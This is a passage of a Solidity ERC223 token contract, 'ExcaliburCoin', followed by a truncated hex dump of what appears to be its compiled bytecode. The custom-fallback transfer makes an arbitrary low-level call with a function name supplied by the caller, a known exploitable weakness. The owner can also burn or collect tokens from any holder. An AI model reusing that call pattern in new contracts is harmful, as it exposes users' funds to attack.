*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC223 {
uint public totalSupply;
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
function totalSupply() public view returns (uint256 _supply);
function balanceOf(address who) public view returns (uint);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
}
contract Excalibur is ERC223, Ownable {
using SafeMath for uint256;
string public name = "ExcaliburCoin";
string public symbol = "EXC";
uint8 public decimals = 8;
uint256 public initialSupply = 10e11 * 1e8;
uint256 public totalSupply;
uint256 public distributeAmount = 0;
bool public mintingFinished = false;
mapping (address => uint) balances;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed burner, uint256 value);
event Mint(address indexed to, uint256 amount);
event MintFinished();
function Excalibur() public {
totalSupply = initialSupply;
balances[msg.sender] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
modifier onlyPayloadSize(uint256 size){
assert(msg.data.length >= size + 4);
_;
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if(isContract(_to)) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
// retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Prevent targets from sending or receiving tokens
* @param targets Addresses to be frozen
* @param isFrozen either to freeze it or not
*/
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint i = 0; i < targets.length; i++) {
require(targets[i] != 0x0);
frozenAccount[targets[i]] = isFrozen;
FrozenFunds(targets[i], isFrozen);
}
}
/**
* @dev Prevent targets from sending or receiving tokens by setting Unix times
* @param targets Addresses to be locked funds
* @param unixTimes Unix times when locking up will be finished
*/
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint i = 0; i < targets.length; i++){
require(unlockUnixTime[targets[i]] < unixTimes[i]);
unlockUnixTime[targets[i]] = unixTimes[i];
LockedFunds(targets[i], unixTimes[i]);
}
}
/**
* @dev Burns a specific amount of tokens.
* @param _from The address that will burn the tokens.
* @param _unitAmount The amount of token to be burned.
*/
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf(_from) >= _unitAmount);
balances[_from] = SafeMath.sub(balances[_from], _unitAmount);
totalSupply = SafeMath.sub(totalSupply, _unitAmount);
Burn(_from, _unitAmount);
}
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _unitAmount The amount of tokens to mint.
*/
function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) {
require(_unitAmount > 0);
totalSupply = SafeMath.add(totalSupply, _unitAmount);
balances[_to] = SafeMath.add(balances[_to], _unitAmount);
Mint(_to, _unitAmount);
Transfer(address(0), _to, _unitAmount);
return true;
}
/**
* @dev Function to stop minting new tokens.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
/**
* @dev Function to distribute tokens to the list of addresses by the provided amount
*/
function distributeTokens(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
amount = SafeMath.mul(amount, 1e8);
uint256 totalAmount = SafeMath.mul(amount, addresses.length);
require(balances[msg.sender] >= totalAmount);
for (uint i = 0; i < addresses.length; i++) {
require(addresses[i] != 0x0
&& frozenAccount[addresses[i]] == false
&& now > unlockUnixTime[addresses[i]]);
balances[addresses[i]] = SafeMath.add(balances[addresses[i]], amount);
Transfer(msg.sender, addresses[i], amount);
}
balances[msg.sender] = SafeMath.sub(balances[msg.sender], totalAmount);
return true;
}
/**
* @dev Function to collect tokens from the list of addresses
*/
function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for (uint i = 0; i < addresses.length; i++) {
require(amounts[i] > 0
&& addresses[i] != 0x0
&& frozenAccount[addresses[i]] == false
&& now > unlockUnixTime[addresses[i]]);
amounts[i] = SafeMath.mul(amounts[i], 1e8);
require(balances[addresses[i]] >= amounts[i]);
balances[addresses[i]] = SafeMath.sub(balances[addresses[i]], amounts[i]);
totalAmount = SafeMath.add(totalAmount, amounts[i]);
Transfer(addresses[i], msg.sender, amounts[i]);
}
balances[msg.sender] = SafeMath.add(balances[msg.sender], totalAmount);
return true;
}
function setDistributeAmount(uint256 _unitAmount) onlyOwner public {
distributeAmount = _unitAmount;
}
/**
* @dev Function to distribute tokens to the msg.sender automatically
* If distributeAmount is 0, this function doesn't work
*/
function autoDistribute() payable public {
require(distributeAmount > 0
&& balanceOf(owner) >= distributeAmount
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
if (msg.value > 0) owner.transfer(msg.value);
balances[owner] = SafeMath.sub(balances[owner], distributeAmount);
balances[msg.sender] = SafeMath.add(balances[msg.sender], distributeAmount);
Transfer(owner, msg.sender, distributeAmount);
}
/**
* @dev token fallback function
*/
function() payable public {
autoDistribute();
}
}
|
0x60606040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461014857806306fdde031461017557806318160ddd14610203578063256fa2411461022c578063313ce567146102a7578063378dc3dc146102d657806340c10f19146102ff5780634f25eced1461035957806364ddc6051461038257806370a082311461041c5780637d64bcb4146104695780638da5cb5b1461049657806395d89b41146104eb5780639dc29fac14610579578063a8f11eb9146105bb578063a9059cbb146105c5578063b414d4b61461061f578063be45fd6214610670578063c341b9f61461070d578063cbbe974b14610772578063d39b1d48146107bf578063f0dc4171146107e2578063f2fde38b14610894578063f6368f8a146108cd575b6101466109ad565b005b341561015357600080fd5b61015b610cf3565b604051808215151515815260200191505060405180910390f35b341561018057600080fd5b610188610d06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c85780820151818401526020810190506101ad565b50505050905090810190601f1680156101f55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561020e57600080fd5b610216610dae565b6040518082815260200191505060405180910390f35b341561023757600080fd5b61028d600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019091905050610db8565b604051808215151515815260200191505060405180910390f35b34156102b257600080fd5b6102ba6111e3565b604051808260ff1660ff16815260200191505060405180910390f35b34156102e157600080fd5b6102e96111fa565b6040518082815260200191505060405180910390f35b341561030a57600080fd5b61033f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611200565b604051808215151515815260200191505060405180910390f35b341561036457600080fd5b61036c6113e5565b6040518082815260200191505060405180910390f35b341561038d57600080fd5b61041a600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919050506113eb565b005b341561042757600080fd5b610453600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506115ef565b6040518082815260200191505060405180910390f35b341561047457600080fd5b61047c611638565b604051808215151515815260200191505060405180910390f35b34156104a157600080fd5b6104a9611700565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104f657600080fd5b6104fe611726565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561053e578082015181840152602081019050610523565b50505050905090810190601f16801561056b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561058457600080fd5b6105b9600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506117ce565b005b6105c36109ad565b005b34156105d057600080fd5b610605600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061193d565b604051808215151515815260200191505060405180910390f35b341561062a57600080fd5b610656600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611ad7565b604051808215151515815260200191505060405180910390f35b341561067b57600080fd5b6106f3600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611af7565b604051808215151515815260200191505060405180910390f35b341561071857600080fd5b6107706004808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080351515906020019091905050611c88565b005b341561077d57600080fd5b6107a9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611e2a565b6040518082815260200191505060405180910390f35b34156107ca57600080fd5b6107e06004808035906020019091905050611e42565b005b34156107ed57600080fd5b61087a60048080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050611ea8565b604051808215151515815260200191505060405180910390f35b341561089f57600080fd5b6108cb600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612355565b005b34156108d857600080fd5b610993600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506124ad565b604051808215151515815260200191505060405180910390f35b60006007541180156109eb57506007546109e8600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166115ef565b10155b8015610a47575060001515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015610a915750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b1515610a9c57600080fd5b6000341115610b0857600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501515610b0757600080fd5b5b610b7560096000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460075461299f565b60096000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c25600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546007546129b8565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6007546040518082815260200191505060405180910390a3565b600860009054906101000a900460ff1681565b610d0e612f3a565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610da45780601f10610d7957610100808354040283529160200191610da4565b820191906000526020600020905b815481529060010190602001808311610d8757829003601f168201915b5050505050905090565b6000600654905090565b60008060008084118015610dcd575060008551115b8015610e29575060001515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015610e735750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b1515610e7e57600080fd5b610e8c846305f5e1006129d6565b9350610e998486516129d6565b915081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610ee957600080fd5b600090505b845181101561114b5760008582815181101515610f0757fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614158015610f9c575060001515600a60008784815181101515610f4657fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015610ffd5750600b60008683815181101515610fb557fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b151561100857600080fd5b61106860096000878481518110151561101d57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054856129b8565b60096000878481518110151561107a57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084818151811015156110d057fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a38080600101915050610eee565b611194600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361299f565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019250505092915050565b6000600460009054906101000a900460ff16905090565b60055481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561125e57600080fd5b600860009054906101000a900460ff1615151561127a57600080fd5b60008211151561128957600080fd5b611295600654836129b8565b6006819055506112e4600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836129b8565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60075481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561144957600080fd5b6000835111801561145b575081518351145b151561146657600080fd5b600090505b82518110156115ea57818181518110151561148257fe5b90602001906020020151600b6000858481518110151561149e57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015156114ef57600080fd5b81818151811015156114fd57fe5b90602001906020020151600b6000858481518110151561151957fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550828181518110151561156f57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c157783838151811015156115be57fe5b906020019060200201516040518082815260200191505060405180910390a2808060010191505061146b565b505050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561169657600080fd5b600860009054906101000a900460ff161515156116b257600080fd5b6001600860006101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61172e612f3a565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156117c45780601f10611799576101008083540402835291602001916117c4565b820191906000526020600020905b8154815290600101906020018083116117a757829003601f168201915b5050505050905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561182a57600080fd5b60008111801561184257508061183f836115ef565b10155b151561184d57600080fd5b611896600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548261299f565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118e56006548261299f565b6006819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a25050565b6000611947612f4e565b6000831180156119a7575060001515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611a03575060001515600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611a4d5750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b8015611a975750600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b1515611aa257600080fd5b611aab84612a11565b15611ac257611abb848483612a24565b9150611ad0565b611acd848483612d41565b91505b5092915050565b600a6020528060005260406000206000915054906101000a900460ff1681565b60008083118015611b58575060001515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611bb4575060001515600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611bfe5750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b8015611c485750600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b1515611c5357600080fd5b611c5c84612a11565b15611c7357611c6c848484612a24565b9050611c81565b611c7e848484612d41565b90505b9392505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ce657600080fd5b60008351111515611cf657600080fd5b600090505b8251811015611e255760008382815181101515611d1457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614151515611d4157600080fd5b81600a60008584815181101515611d5457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508281815181101515611dbd57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051808215151515815260200191505060405180910390a28080600101915050611cfb565b505050565b600b6020528060005260406000206000915090505481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e9e57600080fd5b8060078190555050565b6000806000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f0957600080fd5b60008551118015611f1b575083518551145b1515611f2657600080fd5b60009150600090505b84518110156122bd5760008482815181101515611f4857fe5b90602001906020020151118015611f8d575060008582815181101515611f6a57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614155b8015612000575060001515600a60008784815181101515611faa57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156120615750600b6000868381518110151561201957fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b151561206c57600080fd5b612091848281518110151561207d57fe5b906020019060200201516305f5e1006129d6565b848281518110151561209f57fe5b906020019060200201818152505083818151811015156120bb57fe5b906020019060200201516009600087848151811015156120d757fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561212957600080fd5b6121a060096000878481518110151561213e57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054858381518110151561219157fe5b9060200190602002015161299f565b6009600087848151811015156121b257fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061221b82858381518110151561220c57fe5b906020019060200201516129b8565b91503373ffffffffffffffffffffffffffffffffffffffff16858281518110151561224257fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef868481518110151561229157fe5b906020019060200201516040518082815260200191505060405180910390a38080600101915050611f2f565b612306600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836129b8565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019250505092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156123b157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156123ed57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000808411801561250e575060001515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b801561256a575060001515600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156125b45750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b80156125fe5750600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b151561260957600080fd5b61261285612a11565b156129895783612621336115ef565b101561262c57600080fd5b61263e612638336115ef565b8561299f565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061269361268d866115ef565b856129b8565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff166000836040518082805190602001908083835b6020831015156127255780518252602082019150602081019050602083039250612700565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390207c01000000000000000000000000000000000000000000000000000000009004903387876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828051906020019080838360005b838110156128065780820151818401526020810190506127eb565b50505050905090810190601f1680156128335780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185885af19350505050151561285357fe5b826040518082805190602001908083835b6020831015156128895780518252602082019150602081019050602083039250612864565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a48473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a360019050612997565b612994858585612d41565b90505b949350505050565b60008282111515156129ad57fe5b818303905092915050565b60008082840190508381101515156129cc57fe5b8091505092915050565b60008060008414156129eb5760009150612a0a565b82840290508284828115156129fc57fe5b04141515612a0657fe5b8091505b5092915050565b600080823b905060008111915050919050565b60008083612a31336115ef565b1015612a3c57600080fd5b612a4e612a48336115ef565b8561299f565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612aa3612a9d866115ef565b856129b8565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508490508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3386866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612bab578082015181840152602081019050612b90565b50505050905090810190601f168015612bd85780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1515612bf857600080fd5b5af11515612c0557600080fd5b505050826040518082805190602001908083835b602083101515612c3e5780518252602082019150602081019050602083039250612c19565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a48473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a360019150509392505050565b600082612d4d336115ef565b1015612d5857600080fd5b612d6a612d64336115ef565b8461299f565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dbf612db9856115ef565b846129b8565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816040518082805190602001908083835b602083101515612e3857805182526020820